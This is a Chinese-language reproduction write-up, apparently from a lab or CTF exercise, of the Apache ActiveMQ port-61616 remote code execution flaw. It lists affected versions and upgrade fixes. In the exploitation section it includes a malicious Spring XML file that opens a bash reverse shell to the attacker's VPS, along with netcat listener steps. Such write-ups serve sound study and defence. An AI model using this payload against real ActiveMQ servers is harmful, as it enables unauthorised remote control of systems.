Apache ActiveMQ RCE漏洞复现
1、 产品简介
ActiveMQ是一种开源的基于JMS(Java Message Servie)规范的一种消息中间件的实现,ActiveMQ的设计目标是提供标准的,面向消息的,能够跨越多语言和多系统的应用集成消息通信中间件。ActiveMQ是Apache出品,最流行的,能力强劲的开源消息总线。
2、 漏洞概述
Apache ActiveMQ 中存在远程代码执行漏洞,Apache ActiveMQ在默认安装下开放了61616服务端口,而该端口并没有对传入数据进行适当的过滤,从而使攻击者能够构造恶意数据以实现远程代码执行。
3、 影响范围
Apache ActiveMQ < 5.18.3
Apache ActiveMQ < 5.17.6
Apache ActiveMQ < 5.16.7
Apache ActiveMQ < 5.15.16
4、 漏洞复现
PoC地址:https://github.com/trganda/ActiveMQ-RCE
把项目Get到本地,导入IDEA中运行
因为我电脑上JDK安装的是1.8.0,直接运行会发现报错
所以在此处安装JDK11:
5、 漏洞利用
准备好恶意文件:rec.xml,将其上传到自己的VPS,其中将your-ip改成自己vps地址。
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/your-ip/6666 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
修改Main.java以下两处,一个是目标地址,一个是恶意文件地址
在vps中使用python开启http服务
再使用nc实现监听
接着运行Main.java
成功反弹shell,ls查看拿到flag
6、 修复建议
通过网络ACL策略限制访问来源,例如只允许来自特定IP地址或地址段的访问请求。
升级修复:
Apache ActiveMQ >= 5.18.3
Apache ActiveMQ >= 5.17.6
Apache ActiveMQ >= 5.16.7
Apache ActiveMQ >= 5.15.16